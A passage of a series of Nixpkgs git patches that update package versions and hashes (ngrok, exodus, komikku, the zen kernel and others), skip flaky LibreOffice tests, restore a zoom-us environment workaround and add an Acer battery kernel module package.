@@ -1,38 +1,38 @@
 {
   "linux-386": {
     "sys": "linux-386",
-    "url": "https://bin.equinox.io/a/7rWAoLaoN6E/ngrok-v3-3.19.1-linux-386",
-    "sha256": "ade3cb371e0420b4d314051f702029661ec051158892ae8de87b0dd3fb8c9ae2",
-    "version": "3.19.1"
+    "url": "https://bin.equinox.io/a/fK7zHbUXRW4/ngrok-v3-3.22.1-linux-386",
+    "sha256": "25d1317d5f2014b6ee8e27408256c96efb68e5ae855ae31ec78f39a16c6af2c9",
+    "version": "3.22.1"
   },
   "linux-amd64": {
     "sys": "linux-amd64",
-    "url": "https://bin.equinox.io/a/aNKWdiDQehF/ngrok-v3-3.19.1-linux-amd64",
-    "sha256": "eea9510a71beab13f50024c23938d00ba9cfe4a8b4840030b8432c8637b4427a",
-    "version": "3.19.1"
+    "url": "https://bin.equinox.io/a/jBvFVwnCxra/ngrok-v3-3.22.1-linux-amd64",
+    "sha256": "edf3b724fd9768c380257aec415ea0636f3e1e8d4f67318e3e1ad71c71fb7c3d",
+    "version": "3.22.1"
   },
   "linux-arm": {
     "sys": "linux-arm",
-    "url": "https://bin.equinox.io/a/fHwvcnrN4W1/ngrok-v3-3.19.1-linux-arm",
-    "sha256": "ff1260e987641b0b280e5da3004d020093745a7586ecca65e1025bc3738d55d9",
-    "version": "3.19.1"
+    "url": "https://bin.equinox.io/a/3nCe4mzMEnu/ngrok-v3-3.22.1-linux-arm",
+    "sha256": "ef9e6d0796d9e73e3811a6b45f40dc534b2bafdf2c53e9d837d633417916bf0e",
+    "version": "3.22.1"
   },
   "linux-arm64": {
     "sys": "linux-arm64",
-    "url": "https://bin.equinox.io/a/ckBcN6JRV3s/ngrok-v3-3.19.1-linux-arm64",
-    "sha256": "1f8eec521c00eece4a4a15750927dc492f1243e34598868b15996940ab2bed5b",
-    "version": "3.19.1"
+    "url": "https://bin.equinox.io/a/7qiGrRXJ1od/ngrok-v3-3.22.1-linux-arm64",
+    "sha256": "ef154e04bbc0d48a28f387c20ccf7a57d38485fbdad2c7e46c04749cd79e42b5",
+    "version": "3.22.1"
   },
   "darwin-amd64": {
     "sys": "darwin-amd64",
-    "url": "https://bin.equinox.io/a/yubNbWvsvB/ngrok-v3-3.19.1-darwin-amd64",
-    "sha256": "4e19fee94598a74164516a8b439742bd8bee8844bfea4e3f41ba33b761323583",
-    "version": "3.19.1"
+    "url": "https://bin.equinox.io/a/bCPsqUE6DvJ/ngrok-v3-3.22.1-darwin-amd64",
+    "sha256": "7b2fb1bb04a4e18756ff59903bc5dc06a99a3426713058259f5359965a699b70",
+    "version": "3.22.1"
   },
   "darwin-arm64": {
     "sys": "darwin-arm64",
-    "url": "https://bin.equinox.io/a/iv6WKkDK2i5/ngrok-v3-3.19.1-darwin-arm64",
-    "sha256": "1da4acdf28b7c64ded056d29a2f3bb452481b4112a04f520f33fcead8794e2a1",
-    "version": "3.19.1"
+    "url": "https://bin.equinox.io/a/4XSXTVcG6uw/ngrok-v3-3.22.1-darwin-arm64",
+    "sha256": "7911865275673426fc8bc24afbbe079a3047e61300ffe622b6e6214d4da85786",
+    "version": "3.22.1"
   }
 }

From 59e69648d345d6e8fef86158c555730fa12af9de Mon Sep 17 00:00:00 2001
From: phanirithvij <phanirithvij2000@gmail.com>
Date: Fri, 1 Aug 2025 10:28:17 +0530
Subject: [PATCH 3073/4511] ngrok 3.22.1 -> 3.25.0

Signed-off-by: phanirithvij <phanirithvij2000@gmail.com>
(cherry picked from commit 2081733c234dbd505ae8a42962d2d5f6568fbcc7)
---
 pkgs/by-name/ng/ngrok/versions.json | 36 ++++++++++++++---------------
 1 file changed, 18 insertions(+), 18 deletions(-)

diff --git a/pkgs/by-name/ng/ngrok/versions.json b/pkgs/by-name/ng/ngrok/versions.json
index 8831f0240f5c..cfdea158e908 100644
--- a/pkgs/by-name/ng/ngrok/versions.json
+++ b/pkgs/by-name/ng/ngrok/versions.json
@@ -1,38 +1,38 @@
 {
   "linux-386": {
     "sys": "linux-386",
-    "url": "https://bin.equinox.io/a/fK7zHbUXRW4/ngrok-v3-3.22.1-linux-386",
-    "sha256": "25d1317d5f2014b6ee8e27408256c96efb68e5ae855ae31ec78f39a16c6af2c9",
-    "version": "3.22.1"
+    "url": "https://bin.equinox.io/a/9q4HZ8StRme/ngrok-v3-3.25.0-linux-386",
+    "sha256": "69a76dacb52e568977d105d0d8945c70d1702f9516d42959a4236daaab53559e",
+    "version": "3.25.0"
   },
   "linux-amd64": {
     "sys": "linux-amd64",
-    "url": "https://bin.equinox.io/a/jBvFVwnCxra/ngrok-v3-3.22.1-linux-amd64",
-    "sha256": "edf3b724fd9768c380257aec415ea0636f3e1e8d4f67318e3e1ad71c71fb7c3d",
-    "version": "3.22.1"
+    "url": "https://bin.equinox.io/a/9smpcEP9X6q/ngrok-v3-3.25.0-linux-amd64",
+    "sha256": "13ec4a15ab815f29cd6d9eafc4bde3b6bb3a7c6ed5d96c3dd093884fb41c7b27",
+    "version": "3.25.0"
   },
   "linux-arm": {
     "sys": "linux-arm",
-    "url": "https://bin.equinox.io/a/3nCe4mzMEnu/ngrok-v3-3.22.1-linux-arm",
-    "sha256": "ef9e6d0796d9e73e3811a6b45f40dc534b2bafdf2c53e9d837d633417916bf0e",
-    "version": "3.22.1"
+    "url": "https://bin.equinox.io/a/jyXJJfSXXDP/ngrok-v3-3.25.0-linux-arm",
+    "sha256": "60901e0ce54f2730b27f76797c2b96f40b9af859403da6c4be81d9d6330bca9f",
+    "version": "3.25.0"
   },
   "linux-arm64": {
     "sys": "linux-arm64",
-    "url": "https://bin.equinox.io/a/7qiGrRXJ1od/ngrok-v3-3.22.1-linux-arm64",
-    "sha256": "ef154e04bbc0d48a28f387c20ccf7a57d38485fbdad2c7e46c04749cd79e42b5",
-    "version": "3.22.1"
+    "url": "https://bin.equinox.io/a/7TpsSBE1k4y/ngrok-v3-3.25.0-linux-arm64",
+    "sha256": "dd49f434b64c1b4646a2e287f939d77f4dfc8d0a314e39c69a89e8cf5275f55b",
+    "version": "3.25.0"
   },
   "darwin-amd64": {
     "sys": "darwin-amd64",
-    "url": "https://bin.equinox.io/a/bCPsqUE6DvJ/ngrok-v3-3.22.1-darwin-amd64",
-    "sha256": "7b2fb1bb04a4e18756ff59903bc5dc06a99a3426713058259f5359965a699b70",
-    "version": "3.22.1"
+    "url": "https://bin.equinox.io/a/9pCLo8uquic/ngrok-v3-3.25.0-darwin-amd64",
+    "sha256": "1199c6c6f6f4d5fc7c91ed5dbbbda2cf212568d7397e0785d92b1d1c4bd87a25",
+    "version": "3.25.0"
   },
   "darwin-arm64": {
     "sys": "darwin-arm64",
-    "url": "https://bin.equinox.io/a/4XSXTVcG6uw/ngrok-v3-3.22.1-darwin-arm64",
-    "sha256": "7911865275673426fc8bc24afbbe079a3047e61300ffe622b6e6214d4da85786",
-    "version": "3.22.1"
+    "url": "https://bin.equinox.io/a/2PceGNze17x/ngrok-v3-3.25.0-darwin-arm64",
+    "sha256": "a3799883672ed868036ec71353e9feec8389568b75e5d704a32a52a409f37133",
+    "version": "3.25.0"
   }
 }

From a7f31b68ca972ce5ed972a5ccf7e733e59b9bf4f Mon Sep 17 00:00:00 2001
From: Anders Kaseorg <andersk@mit.edu>
Date: Thu, 31 Jul 2025 13:57:35 -0700
Subject: [PATCH 3074/4511] =?UTF-8?q?gnomeExtensions.argos:=20unstable-202?=
 =?UTF-8?q?4-10-28=20=E2=86=92=20unstable-2025-03-27?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Anders Kaseorg <andersk@mit.edu>
(cherry picked from commit cf76ec93df21f5c847965148670ba3a7bec31038)
---
 pkgs/desktops/gnome/extensions/argos/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/desktops/gnome/extensions/argos/default.nix b/pkgs/desktops/gnome/extensions/argos/default.nix
index 5e845e1741c9..250838d7edf8 100644
--- a/pkgs/desktops/gnome/extensions/argos/default.nix
+++ b/pkgs/desktops/gnome/extensions/argos/default.nix
@@ -7,13 +7,13 @@
 
 stdenv.mkDerivation {
   pname = "argos";
-  version = "unstable-2024-10-28";
+  version = "unstable-2025-03-27";
 
   src = fetchFromGitHub {
     owner = "p-e-w";
     repo = "argos";
-    rev = "cd0de7c79072979bed41e0ad75741bbd8e113950";
-    hash = "sha256-rNS2rvHZOpl9mSoERfsX6UfEaAb6lWTI9y6HXKrl81E=";
+    rev = "13264042ae8b8a6f9f4778c623780e38e5d1cd89";
+    hash = "sha256-PMMpTaihMHj1FmnjJoZqAhDYVd263M1OZAC+OAnaZEg=";
   };
 
   installPhase = ''

From 9b54c375fc5c6119dc5056fb33b7e04db77b202f Mon Sep 17 00:00:00 2001
From: wardxela <wardxela@gmail.com>
Date: Mon, 28 Jul 2025 20:35:36 +0300
Subject: [PATCH 3075/4511] exodus: 25.9.2 -> 25.28.4

(cherry picked from commit 3bcbcbe071ee34fd8595cc7940c91d13503a9786)
---
 pkgs/by-name/ex/exodus/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ex/exodus/package.nix b/pkgs/by-name/ex/exodus/package.nix
index ce356f5d15a0..5992f3274f65 100644
--- a/pkgs/by-name/ex/exodus/package.nix
+++ b/pkgs/by-name/ex/exodus/package.nix
@@ -28,12 +28,12 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "exodus";
-  version = "25.9.2";
+  version = "25.28.4";
 
   src = requireFile {
     name = "exodus-linux-x64-${finalAttrs.version}.zip";
     url = "https://downloads.exodus.com/releases/exodus-linux-x64-${finalAttrs.version}.zip";
-    hash = "sha256-QEspr/n4TnwpCx9lBY874+dlcMvhXiYKhyqel7ebuzg=";
+    hash = "sha256-AGeFsMHSywC32iaIGI9/VY2YC3gR5bHu33rOWJlyFFM=";
   };
 
   nativeBuildInputs = [ unzip ];
@@ -45,7 +45,7 @@ stdenv.mkDerivation (finalAttrs: {
     ln -s $out/bin/Exodus $out/bin/exodus
     ln -s $out/exodus.desktop $out/share/applications
     substituteInPlace $out/share/applications/exodus.desktop \
-          --replace 'Exec=bash -c "cd \`dirname %k\` && ./Exodus %u"' "Exec=Exodus %u"
+          --replace-fail 'Exec=bash -c "cd \\`dirname %k\\` && ./Exodus %u"' "Exec=Exodus %u"
   '';
 
   dontPatchELF = true;

From d3439c94d687cf391cd3e4559036f625a8e9c81a Mon Sep 17 00:00:00 2001
From: K900 <me@0upti.me>
Date: Sat, 12 Jul 2025 13:59:25 +0300
Subject: [PATCH 3076/4511] libreoffice: refresh patch, skip another test

(cherry picked from commit 453865cb6e6e2ee415ad699dc60528a6f918e385)
https://hydra.nixos.org/build/303850478
---
 .../libreoffice/skip-broken-tests.patch       | 58 ++++++++++++++-----
 1 file changed, 44 insertions(+), 14 deletions(-)

diff --git a/pkgs/applications/office/libreoffice/skip-broken-tests.patch b/pkgs/applications/office/libreoffice/skip-broken-tests.patch
index 959510958a7e..244935348161 100644
--- a/pkgs/applications/office/libreoffice/skip-broken-tests.patch
+++ b/pkgs/applications/office/libreoffice/skip-broken-tests.patch
@@ -1,6 +1,8 @@
+diff --git a/desktop/qa/desktop_lib/test_desktop_lib.cxx b/desktop/qa/desktop_lib/test_desktop_lib.cxx
+index 231aea8d0f3c..214a23c82562 100644
 --- a/desktop/qa/desktop_lib/test_desktop_lib.cxx
 +++ b/desktop/qa/desktop_lib/test_desktop_lib.cxx
-@@ -595,6 +595,8 @@ void DesktopLOKTest::testGetFilterTypes()
+@@ -603,6 +603,8 @@ void DesktopLOKTest::testGetFilterTypes()
  
  void DesktopLOKTest::testSearchCalc()
  {
@@ -9,7 +11,7 @@
      LibLibreOffice_Impl aOffice;
      LibLODocument_Impl* pDocument = loadDoc("search.ods");
      pDocument->pClass->initializeForRendering(pDocument, nullptr);
-@@ -625,6 +627,8 @@ void DesktopLOKTest::testSearchCalc()
+@@ -633,6 +635,8 @@ void DesktopLOKTest::testSearchCalc()
  
  void DesktopLOKTest::testSearchAllNotificationsCalc()
  {
@@ -18,6 +20,8 @@
      LibLibreOffice_Impl aOffice;
      LibLODocument_Impl* pDocument = loadDoc("search.ods");
      pDocument->pClass->initializeForRendering(pDocument, nullptr);
+diff --git a/svgio/qa/cppunit/data/tdf160386.svg b/svgio/qa/cppunit/data/tdf160386.svg
+index 1644b0d15514..cf429508bcd4 100644
 --- a/svgio/qa/cppunit/data/tdf160386.svg
 +++ b/svgio/qa/cppunit/data/tdf160386.svg
 @@ -8,7 +8,6 @@
@@ -28,9 +32,11 @@
      <text systemLanguage="ru">Привет!</text>
      <text>☺</text>
    </switch>
+diff --git a/sw/qa/core/accessibilitycheck/AccessibilityCheckTest.cxx b/sw/qa/core/accessibilitycheck/AccessibilityCheckTest.cxx
+index d8093e57a4e8..c95a742a68d3 100644
 --- a/sw/qa/core/accessibilitycheck/AccessibilityCheckTest.cxx
 +++ b/sw/qa/core/accessibilitycheck/AccessibilityCheckTest.cxx
-@@ -361,6 +361,8 @@ void checkIssuePosition(std::shared_ptr<sfx::AccessibilityIssue> const& pIssue,
+@@ -422,6 +422,8 @@ void checkIssuePosition(std::shared_ptr<sfx::AccessibilityIssue> const& pIssue,
  
  CPPUNIT_TEST_FIXTURE(AccessibilityCheckTest, testOnlineNodeSplitAppend)
  {
@@ -39,9 +45,11 @@
      // Checks the a11y checker is setting the a11y issues to the nodes
      // correctly when splitting and appending nodes (through undo), which
      // happen on editing all the time.
+diff --git a/sw/qa/core/text/text.cxx b/sw/qa/core/text/text.cxx
+index b81146642bd4..2094b7ea9477 100644
 --- a/sw/qa/core/text/text.cxx
 +++ b/sw/qa/core/text/text.cxx
-@@ -1630,6 +1630,8 @@ CPPUNIT_TEST_FIXTURE(SwCoreTextTest, testParaUpperMarginFlyIntersect)
+@@ -1596,6 +1596,8 @@ CPPUNIT_TEST_FIXTURE(SwCoreTextTest, testParaUpperMarginFlyIntersect)
  
  CPPUNIT_TEST_FIXTURE(SwCoreTextTest, testTdf129810)
  {
@@ -50,9 +58,23 @@
      // Load the document.
      // The document embeds a subset of "Source Han Serif SC" so that it works
      // even when the font is not installed.
+diff --git a/sw/qa/extras/docbookexport/docbookexport.cxx b/sw/qa/extras/docbookexport/docbookexport.cxx
+index e7543d99577e..f44f92a47c7e 100644
+--- a/sw/qa/extras/docbookexport/docbookexport.cxx
++++ b/sw/qa/extras/docbookexport/docbookexport.cxx
+@@ -21,6 +21,7 @@ public:
+ 
+ CPPUNIT_TEST_FIXTURE(DocbookExportTest, testsimple)
+ {
++    return; // fails on latest libxml
+     createSwDoc("simple.docx");
+     save(mpFilter);
+     xmlDocUniquePtr pDoc = parseXml(maTempFile);
+diff --git a/sw/qa/extras/htmlimport/htmlimport.cxx b/sw/qa/extras/htmlimport/htmlimport.cxx
+index 6cf8f22647b9..12848713771b 100644
 --- a/sw/qa/extras/htmlimport/htmlimport.cxx
 +++ b/sw/qa/extras/htmlimport/htmlimport.cxx
-@@ -308,6 +308,8 @@ CPPUNIT_TEST_FIXTURE(HtmlImportTest, testTableBorder1px)
+@@ -297,6 +297,8 @@ CPPUNIT_TEST_FIXTURE(HtmlImportTest, testTableBorder1px)
  
  CPPUNIT_TEST_FIXTURE(HtmlImportTest, testOutlineLevel)
  {
@@ -61,9 +83,11 @@
      createSwWebDoc("outline-level.html");
      // This was 0, HTML imported into Writer lost the outline numbering for
      // Heading 1 styles.
+diff --git a/sw/qa/extras/layout/layout3.cxx b/sw/qa/extras/layout/layout3.cxx
+index e53d22c8fd1a..2f9decb0d931 100644
 --- a/sw/qa/extras/layout/layout3.cxx
 +++ b/sw/qa/extras/layout/layout3.cxx
-@@ -1038,6 +1038,8 @@ CPPUNIT_TEST_FIXTURE(SwLayoutWriter3, testTdf158658c)
+@@ -1388,6 +1388,8 @@ CPPUNIT_TEST_FIXTURE(SwLayoutWriter3, testTdf158658c)
  
  CPPUNIT_TEST_FIXTURE(SwLayoutWriter3, testTdf155177)
  {
@@ -72,6 +96,8 @@
      createSwDoc("tdf155177-1-min.odt");
  
      uno::Reference<beans::XPropertySet> xStyle(
+diff --git a/sw/qa/extras/odfimport/odfimport.cxx b/sw/qa/extras/odfimport/odfimport.cxx
+index 794b3bd16ed4..3feaadd7a20f 100644
 --- a/sw/qa/extras/odfimport/odfimport.cxx
 +++ b/sw/qa/extras/odfimport/odfimport.cxx
 @@ -602,6 +602,8 @@ CPPUNIT_TEST_FIXTURE(Test, testFdo56272)
@@ -83,18 +109,20 @@
      createSwDoc("incorrectsum.odt");
      Scheduler::ProcessEventsToIdle();
      uno::Reference<text::XTextTablesSupplier> xTablesSupplier(mxComponent, uno::UNO_QUERY);
+diff --git a/sw/qa/extras/tiledrendering/tiledrendering.cxx b/sw/qa/extras/tiledrendering/tiledrendering.cxx
+index 4ebc4be96149..85b8908e16b9 100644
 --- a/sw/qa/extras/tiledrendering/tiledrendering.cxx
 +++ b/sw/qa/extras/tiledrendering/tiledrendering.cxx
-@@ -2762,6 +2762,8 @@ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testDeleteNodeRedlineCallback)
+@@ -2538,6 +2538,8 @@ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testVisCursorInvalidation)
  
- CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testVisCursorInvalidation)
+ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testDeselectCustomShape)
  {
 +    return; // flaky on some backends?
 +
      SwXTextDocument* pXTextDocument = createDoc("dummy.fodt");
-     ViewCallback aView1;
-     int nView1 = SfxLokHelper::getView();
-@@ -3048,6 +3050,8 @@ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testDoubleUnderlineAndStrikeOut)
+     SwWrtShell* pWrtShell = getSwDocShell()->GetWrtShell();
+     SwShellCursor* pShellCursor = pWrtShell->getShellCursor(false);
+@@ -2745,6 +2747,8 @@ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testDoubleUnderlineAndStrikeOut)
  
  CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testTdf43244_SpacesOnMargin)
  {
@@ -103,7 +131,7 @@
      // Load a document where the top left tile contains
      // paragraph and line break symbols with redlining.
      SwXTextDocument* pXTextDocument = createDoc("tdf43244_SpacesOnMargin.odt");
-@@ -4091,6 +4095,7 @@ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testRedlineTooltip)
+@@ -3786,6 +3790,7 @@ CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testRedlineTooltip)
  // toggling Formatting Marks on/off for one view should have no effect on other views
  CPPUNIT_TEST_FIXTURE(SwTiledRenderingTest, testToggleFormattingMarks)
  {
@@ -111,13 +139,15 @@
      SwXTextDocument* pXTextDocument = createDoc();
      int nView1 = SfxLokHelper::getView();
  
+diff --git a/sw/qa/extras/uiwriter/uiwriter5.cxx b/sw/qa/extras/uiwriter/uiwriter5.cxx
+index e37df27fd817..937c12e8c4c5 100644
 --- a/sw/qa/extras/uiwriter/uiwriter5.cxx
 +++ b/sw/qa/extras/uiwriter/uiwriter5.cxx
-@@ -1571,6 +1571,7 @@ CPPUNIT_TEST_FIXTURE(SwUiWriterTest5, testDateFormFieldContentOperations)
+@@ -1549,6 +1549,7 @@ CPPUNIT_TEST_FIXTURE(SwUiWriterTest5, testDateFormFieldContentOperations)
  
  CPPUNIT_TEST_FIXTURE(SwUiWriterTest5, testDateFormFieldCurrentDateHandling)
  {
 +    return; // flaky on KF6
      createSwDoc();
      SwDoc* pDoc = getSwDoc();
-     CPPUNIT_ASSERT(pDoc);
+     IDocumentMarkAccess* pMarkAccess = pDoc->getIDocumentMarkAccess();

From 257320d61c1e730525621aa5cb2973c5627e68d7 Mon Sep 17 00:00:00 2001
From: Michael Evans <michaelgrahamevans@gmail.com>
Date: Sun, 27 Jul 2025 13:49:37 +0200
Subject: [PATCH 3077/4511] forge-sparks: 0.4.0 -> 1.0.1

(cherry picked from commit ac519a3609564646a8f2854cf778076ab567183e)
---
 pkgs/by-name/fo/forge-sparks/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fo/forge-sparks/package.nix b/pkgs/by-name/fo/forge-sparks/package.nix
index 66a34635a529..7f7512d02a3e 100644
--- a/pkgs/by-name/fo/forge-sparks/package.nix
+++ b/pkgs/by-name/fo/forge-sparks/package.nix
@@ -21,13 +21,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "forge-sparks";
-  version = "0.4.0";
+  version = "1.0.1";
 
   src = fetchFromGitHub {
     owner = "rafaelmardojai";
     repo = "forge-sparks";
     rev = finalAttrs.version;
-    hash = "sha256-H607u/VBuzzoYrYZc8fLqCQMZ+jRJOVZ34U8yKHfmYk=";
+    hash = "sha256-4FzMhHE4601laKHYRN3NCZ7oBDH/2HaeCS9CdbmTNx0=";
     fetchSubmodules = true;
   };
 

From 307988f3ea3ac3df797b008998ce208d5ed9d8fb Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 1 Aug 2025 03:26:05 +0000
Subject: [PATCH 3078/4511] linuxKernel.kernels.linux_zen: 6.15.7 -> 6.15.8

(cherry picked from commit 41d6866b456c40578e15db1e332492ddddb2c154)
---
 pkgs/os-specific/linux/kernel/zen-kernels.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/os-specific/linux/kernel/zen-kernels.nix b/pkgs/os-specific/linux/kernel/zen-kernels.nix
index a281717b2027..880bac6ead28 100644
--- a/pkgs/os-specific/linux/kernel/zen-kernels.nix
+++ b/pkgs/os-specific/linux/kernel/zen-kernels.nix
@@ -16,9 +16,9 @@ let
   variants = {
     # ./update-zen.py zen
     zen = {
-      version = "6.15.7"; # zen
+      version = "6.15.8"; # zen
       suffix = "zen1"; # zen
-      sha256 = "1q68jvcghn5bw1hfnk06kh1b89mq13b84g2f0nal9i5wzrx4qxbr"; # zen
+      sha256 = "010k50c9anjbcrwh9cgc6wn91hh3xa1x3mpxbaa2x1v8f5773vd4"; # zen
       isLqx = false;
     };
     # ./update-zen.py lqx

From 47c320747b654f345ae685365bb59dfd25ed87fa Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Tue, 29 Jul 2025 16:49:51 +0200
Subject: [PATCH 3079/4511] komikku: 1.82.0 -> 1.83.0

(cherry picked from commit b41c142c6305e5fb49c898e56b80c5ba3ebe51d9)
---
 pkgs/by-name/ko/komikku/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ko/komikku/package.nix b/pkgs/by-name/ko/komikku/package.nix
index 30755a5ecfb2..83603a29bb42 100644
--- a/pkgs/by-name/ko/komikku/package.nix
+++ b/pkgs/by-name/ko/komikku/package.nix
@@ -23,7 +23,7 @@
 
 python3.pkgs.buildPythonApplication rec {
   pname = "komikku";
-  version = "1.82.0";
+  version = "1.83.0";
   pyproject = false;
 
   src = fetchFromGitea {
@@ -31,7 +31,7 @@ python3.pkgs.buildPythonApplication rec {
     owner = "valos";
     repo = "Komikku";
     tag = "v${version}";
-    hash = "sha256-F+RlfnKnMqlPTk1iv79ah/UaEjd7Og+gV1YVsZqkIBk=";
+    hash = "sha256-cwNSjzCy4lv71O3XAcDXVF+75MhQ6gMrMz/IuePCdak=";
   };
 
   nativeBuildInputs = [

From 320ebadffec649762a041b087e6f008098b7afe9 Mon Sep 17 00:00:00 2001
From: Yarny0 <41838844+Yarny0@users.noreply.github.com>
Date: Thu, 31 Jul 2025 17:51:19 +0200
Subject: [PATCH 3080/4511] zoom-us: reintroduce `unset QT_PLUGIN_PATH`

This was introduced long ago here

https://github.com/NixOS/nixpkgs/pull/116355
https://github.com/NixOS/nixpkgs/commit/b747aa0f9fd6363975e90a82210275a12bfbb696

to fix a display problem (participants dialog box).

With one of the more recent updates,
the workaround was no longer needed to fix
the original problem, so it was removed here

https://github.com/NixOS/nixpkgs/pull/425420
https://github.com/NixOS/nixpkgs/commit/c3a86691ba8aebe32cedbfc72e3b738f2bf93a1f

However, it turned out the workaround is still needed
to keep zoom happy in other environments, cf.

https://github.com/NixOS/nixpkgs/issues/428434
https://github.com/NixOS/nixpkgs/issues/429341
(cherry picked from commit 90be5e1333c33af8a3361b9081a1f792b22c92e7)
---
 pkgs/by-name/zo/zoom-us/package.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/by-name/zo/zoom-us/package.nix b/pkgs/by-name/zo/zoom-us/package.nix
index 198cecd269b0..284a583826ab 100644
--- a/pkgs/by-name/zo/zoom-us/package.nix
+++ b/pkgs/by-name/zo/zoom-us/package.nix
@@ -243,6 +243,7 @@ else
     inherit (unpacked) pname version;
 
     targetPkgs = pkgs: (linuxGetDependencies pkgs) ++ [ unpacked ];
+    extraPreBwrapCmds = "unset QT_PLUGIN_PATH";
     extraBwrapArgs = [ "--ro-bind ${unpacked}/opt /opt" ];
     runScript = "/opt/zoom/ZoomLauncher";
 

From 4efc4d386ca06b51737a65c1cc53172254f45130 Mon Sep 17 00:00:00 2001
From: "Peter H. Hoeg" <peter@hoeg.com>
Date: Wed, 16 Apr 2025 12:11:13 +0200
Subject: [PATCH 3081/4511] linuxPackages.acer-wmi-battery: init at
 0.1.0-unstable-2025-04-24

(cherry picked from commit 87cb7095bf72d5ca444e75dc7e92278e812022f8)
---
 .../linux/acer-wmi-battery/default.nix        | 46 +++++++++++++++++++
 pkgs/top-level/linux-kernels.nix              |  2 +
 2 files changed, 48 insertions(+)
 create mode 100644 pkgs/os-specific/linux/acer-wmi-battery/default.nix

diff --git a/pkgs/os-specific/linux/acer-wmi-battery/default.nix b/pkgs/os-specific/linux/acer-wmi-battery/default.nix
new file mode 100644
index 000000000000..5eac3ff6a1a3
--- /dev/null
+++ b/pkgs/os-specific/linux/acer-wmi-battery/default.nix
@@ -0,0 +1,46 @@
+{
+  stdenv,
+  lib,
+  fetchFromGitHub,
+  kernel,
+}:
+
+let
+  release = "0.1.0-unstable-2025-04-24";
+
+in
+stdenv.mkDerivation {
+  pname = "acer-wmi-battery";
+  version = "${kernel.version}-${release}";
+
+  src = fetchFromGitHub {
+    owner = "frederik-h";
+    repo = "acer-wmi-battery";
+    rev = "0889d3ea54655eaa88de552b334911ce7375952f";
+    hash = "sha256-mI6Ob9BmNfwqT3nndWf3jkz8f7tV10odkTnfApsNo+A=";
+  };
+
+  postPatch = ''
+    substituteInPlace Makefile \
+      --replace-fail '/lib/modules/$(shell uname -r)/build' ${kernel.dev}/lib/modules/${kernel.modDirVersion}/build
+  '';
+
+  enableParallelBuilding = true;
+
+  installPhase = ''
+    runHook preInstall
+
+    find . -name '*.ko' -exec xz -f {} \;
+    install -Dm444 -t $out/lib/modules/${kernel.modDirVersion}/kernel/drivers/platform/x86 *.ko.xz
+
+    runHook postInstall
+  '';
+
+  meta = {
+    description = "Driver for the Acer WMI battery health control interface";
+    homepage = "https://github.com/frederik-h/acer-wmi-battery";
+    license = lib.licenses.gpl2Only;
+    platforms = lib.platforms.linux;
+    maintainers = with lib.maintainers; [ peterhoeg ];
+  };
+}
diff --git a/pkgs/top-level/linux-kernels.nix b/pkgs/top-level/linux-kernels.nix
index 443a25b906b4..317fe399ecdf 100644
--- a/pkgs/top-level/linux-kernels.nix
+++ b/pkgs/top-level/linux-kernels.nix
@@ -364,6 +364,8 @@ in
         inherit (pkgs) oci-seccomp-bpf-hook; # added 2022-11
         inherit (pkgs) dpdk; # added 2024-03
 
+        acer-wmi-battery = callPackage ../os-specific/linux/acer-wmi-battery { };
+
         acpi_call = callPackage ../os-specific/linux/acpi-call { };
 
         ajantv2 = callPackage ../os-specific/linux/ajantv2 { };

From 434cddede7c844f57693ab3d80077baa98865884 Mon Sep 17 00:00:00 2001
From: wxt <3264117476@qq.com>
Date: Fri, 25 Jul 2025 21:12:04 +0800
Subject: [PATCH 3082/4511] linuxKernel.packages.linux*.v4l2loopback: 0.15.0 ->
 0.15.1

(cherry picked from commit 44cb2708e5ab6ec98c0af47826f474413dec7e12)
---
 pkgs/os-specific/linux/v4l2loopback/default.nix | 17 ++++++++++-------
 1 file changed, 10 insertions(+), 7 deletions(-)

diff --git a/pkgs/os-specific/linux/v4l2loopback/default.nix b/pkgs/os-specific/linux/v4l2loopback/default.nix
index f1b0d4ba1a53..a43048ea1c49 100644
--- a/pkgs/os-specific/linux/v4l2loopback/default.nix
+++ b/pkgs/os-specific/linux/v4l2loopback/default.nix
@@ -8,7 +8,7 @@
 }:
 
 let
-  version = "0.15.0";
+  version = "0.15.1";
 
 in
 stdenv.mkDerivation {
@@ -18,8 +18,8 @@ stdenv.mkDerivation {
   src = fetchFromGitHub {
     owner = "umlaeute";
     repo = "v4l2loopback";
-    rev = "v${version}";
-    hash = "sha256-fa3f8GDoQTkPppAysrkA7kHuU5z2P2pqI8dKhuKYh04=";
+    tag = "v${version}";
+    hash = "sha256-uokj0MB6bw4I8q5dVmSO9XMDvh4T7YODBoCCHvEf4v4=";
   };
 
   hardeningDisable = [
@@ -48,13 +48,16 @@ stdenv.mkDerivation {
     "KERNEL_DIR=${kernel.dev}/lib/modules/${kernel.modDirVersion}/build"
   ];
 
-  meta = with lib; {
+  meta = {
     description = "Kernel module to create V4L2 loopback devices";
     mainProgram = "v4l2loopback-ctl";
     homepage = "https://github.com/umlaeute/v4l2loopback";
-    license = licenses.gpl2Only;
-    maintainers = with maintainers; [ moni ];
-    platforms = platforms.linux;
+    license = lib.licenses.gpl2Only;
+    maintainers = with lib.maintainers; [
+      moni
+      bot-wxt1221
+    ];
